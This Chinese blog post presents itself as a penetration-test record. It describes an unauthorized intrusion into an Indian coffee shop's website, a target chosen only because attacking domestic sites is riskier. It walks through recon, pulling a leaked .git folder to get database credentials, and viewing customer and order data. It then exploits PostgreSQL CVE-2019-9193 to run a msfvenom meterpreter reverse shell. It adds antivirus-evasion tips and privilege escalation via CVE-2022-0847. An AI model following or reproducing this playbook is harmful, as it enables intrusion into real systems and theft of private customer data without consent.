一次渗透测试记录和思路整理
思路
在开始之前,我们需要理清渗透测试时的具体思路。从我的个人角度出发,我的具体流程是这样的:
1.划定范围
通过FOFA、钟馗之眼等搜索引擎划定要进行渗透测试的网站范围,比如将网站所属的国家限定在印度(国内的不敢打)
**
2.进行信息收集
在通过搜索引擎的语法划定好范围之后,就可以选择中意的目标进行信息收集。
我个人喜欢先对目标进行子域名收集,具体的方法是:先ping对方一个不存在的子域名,看看对方有没有配置泛域名解析,如果没有配置,就可以直接上Layer等子域名爆破工具,如果配置了,就用FOFA等搜索引擎进行搜索和整理。
在完成子域名信息收集之后,就要挨个对收集到的子域名进行真实IP收集,首先利用超级Ping挨个检查子域名,查看返回的IP个数判断对方是否使用了CDN。如果使用了CDN,则可以通过微步在线等情报收集系统查看域名的解析记录,以此获取真实IP,或者可以通过([https://crt.sh/])等证书信息查询工具获取真实IP。关于真实IP的验证,方法有很多,比如修改HOSTS或检查IP归属地等,这里不再赘述。
在完成真实IP收集之后,接下来要做的就是收集各个站点和主机的操作系统和组件信息(对方使用了什么操作系统?web服务器的版本号?使用了什么开发语言?有没有使用WordPress等开源CMS?是否使用了WAF?对方的所有主机上的开放端口和其对应的服务?)。这个阶段尤其重要,只要掌握了对方的操作系统和各个组件的版本号就可以通过漏洞搜索工具进行可能存在的漏洞信息收集,并尝试加以利用。
获取了对方的组件信息之后,就可以对挨个站点进行目录扫描,方法有很多,比如御剑和7kb还有dirsearch。在这个阶段,我们首先要获取对方站点是否有敏感文件泄露,比如.git文件夹、DS_Store文件、服务器或站点配置文件还有后台和网站备份文件。还可以通过awvs等漏洞扫描软件,通过爬虫的方式爬取目标网站的目录结构(当然,能直接扫描出漏洞最好)。在完成基本的目录扫描之后,还可以进行webshell等后门扫描,看看有没有前人留下的宝贵遗产,如果找到了就进行webshell密码爆破,省了一大堆事情。
在目录扫描之后,前期的信息收集任务就可以告一段落了,此时还可以进行进一步的信息收集,比如在目标网站注册一个账号,正常体验一波,看看有没有可以进行测试的接口。或者可能存在注入、爆破、RCE或文件包含的点。
3.进行漏洞信息收集和准备exp
前文有提到,在完成组件的版本信息收集之后,可以在漏洞库中进行漏洞信息检索,找到漏洞的编号。在获取编号之后,可以在exploit库中查找可以利用的exp程序,或者在metasploit的官网查找适用于metasploit的利用插件,此外还可以在github上获取exp资源(直接用漏洞编号进行搜索)。
收集完exp之后,可以对在信息收集阶段中获取到的敏感文件进行分析,比如.git是否有泄露服务器的配置文件,有些时候可以通过此方式直接获取到网站的管理员账密或者数据库账密。如果有收集到源代码,还可以进行代码审计,查找可以利用的漏洞。
最后,就是对网站后台和其他接口进行测试,这里推荐使用工具+手工的方式进行。可以使用xray、awvs、burp等联动,比如在文件上传接口用各种姿势上传webshell,并检查网站的目录结构看是否可以访问上传文件夹并利用已经上传的webshell(解析漏洞)。或者,在可能存在注入点的表单和请求处,使用SQLMAP和手工的方式挖掘注入漏洞。反正就是对收集到的所有站点和主机进行测试,一波下来或多或少都有点收获。
当然,如果你是大佬,还可以进行纯手工挖掘,毕竟工具啥的一点都不温柔,可能会触发警报导致IP被封,这时候就需要一个代理池了。
4.漏洞验证与利用
在这个阶段,就是对挖掘到的漏洞进行单纯的漏洞利用和WAF绕过了,反正就是能利用就可以了,要是百毒不侵,金刚不坏咱们也没办法对吧?
5.上传木马/getshell与提权
有的时候,在你进行漏洞利用之后并不能立即获取一个可靠的反弹shell连接(比如webshell,它是基于HTTP协议的)。此时,可以先进行简单的信息收集,利用ps或者tasklist等指令查看对方的进程列表,看是否使用了反病毒程序。如果没有,则可以直接使用metasploit生成木马,或者自己编写shellcode加载器(如果被查杀了,就对shellcode进行编码就可以了,一次不够就两次,两次不够就加盐加密然后再编码)。当然,也可以查看对方环境有没有nc等工具,或者使用无nc方式(bash -i)进行反弹。
总之,在我们利用木马上线对方之后,或者利用nc获取到了对方的shell,就需要使用指令获取一些深层次的信息(用户身份、权限还有系统版本号,补丁信息)。对于使用木马上线的孩子,可以使用metasploit的post/multi/recon/local_exploit_suggester模块,自动查找可以进行提权的漏洞,并一键利用。对于使用nc等工具获取了反弹shell的孩子,直接利用系统版本号在互联网上查找提权漏洞的exp程序编译后上传运行就可以了。
要是对方的反病毒过于强大,或者相关漏洞已经被修复,毫无办法,那就放弃,别浪费时间了,互联网上大把主机,没必要死磕一台。
记录
信息收集
这一次的目标划定在印度,用fofa搜索位置为印度的主机,随便找找域名。
这里选定了一个咖啡饮品店的网站
随便ping一个域名,发现对方并没有使用泛域名解析,故可以使用Layer和fofa一起挖掘子域名。通过基本的挖掘之后,发现了对方的多个子域名信息。
再通过多地ping,挨个检查子域名的IP信息。发现有多个站点部署在同一个主机上。对这些收集到的IP进行端口和组件信息扫描,发现对方并没有使用开源CMS,而且每一台主机的开放端口少的可怜
当然,我们也可以根据目前掌握的组件信息去漏洞库查找漏洞
然后通过互联网查找相应漏洞的exp程序,做exp收集,万一用得上呢
接下来重点来了,我们要对各个站点进行目录扫描和敏感资源收集,先利用dirsearch爆破对方的敏感文件,没想到有意外收获。在对方的某个站点上,.git文件夹并没有被清理。
在github上获取GITHACK,利用GITHACK将目标网站的数据跑出来。
可以看到在获取到的文件夹当中,有一个config文件夹,里面可能存放了网站的配置信息,我们进行查看,果然获取到了对方数据库的账号和密码
这里咱们就省了一大堆事情了,直接上Navicat,尝试连接,可以看到数据库和表已经全部出来了,可以查看对方的网站管理员账号密码和所以会员和订单信息。以后各位去印度买咖啡喝记得联系我,我给各位办黄金会员卡享最大折扣。
这里的管理员账号密码使用了bcrypt进行哈希,用彩虹表爆破也很困难,因此我们可以通过数据库版本来查看是否有可以使用的漏洞。通过在数据库的命令界面,运行相关指令来查看版本。
这个版本的postgresql有一个任意命令执行漏洞,即CVE-2019-9193,该漏洞放在章后介绍。
漏洞利用
经过检查,发现CVE-2019-9193可以在该版本的PostgreSQL运行
木马上传与提权
另外经过检查,发现该操作系统没有nc环境,也无法使用bash -i的姿势反弹shell,为了方便后期的提权工作,我打算向对方操作系统上传木马。在上传之前,我们需要先在本地搭建一个web服务器,再利用内网穿透的方式发布到外网,或者直接租一个服务器搭建也可以。同样的,还需要将kali的监听端口转发到外网,这里我使用了NPS。
利用msfvenom指令先生成一个适用于Linux的木马,注意,这里的IP地址一定要填你NPS服务器的地址,端口选NPS服务器监听的端口
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=Your_IPADDR LPORT=4444 -f elf > testshe.elf
之后将生成的木马文件放在我们的web服务器当中,在对方的服务器上利用wget指令获取我们的木马文件,这里我就不做示范了,只展示上传之后的结果,testshe.elf是木马文件。
在PostgreSQL运行我们的木马文件,可以看到Kali已经获取到了来自目标主机的连接
接下来,我们利用之前提到的模块,查找可以利用的提权漏洞
可以看到,kali已经为我们找到了多个可能可以被利用的提权模块
接下来可以根据网络和系统环境的不同,选择从互联网获取exp编译上传后运行或者利用kali的模块直接运行。接下来就是编译和提权的过程,如果对方的系统环境里没有gcc,可以考虑在本地编译好后再上传。
漏洞介绍
CVE-2019-9193
该漏洞的成因是由于PostgreSQL在9.3版本增加了一个“COPY TO/FROM PROGRAM”的功能,这个功能允许超级用户执行任意操作系统指令,以下是这个漏洞的Payload。要注意的是,在每一次运行完成并返回结果之后,无论指令执行成功与否,都要删除run_shell表。
CREATE TABLE run_shell(shell_output text);
COPY run_shell FROM PROGRAM 'id';
SELECT * FROM run_shell;
CVE-2022-0847
CVE-2022-0847是一个本地提权漏洞,该漏洞存在于Linux5.8及以上版本,该漏洞的原理和脏牛类似,但泛用性比脏牛更强。互联网上关于此漏洞的exp不少,可以编译后直接上传运行。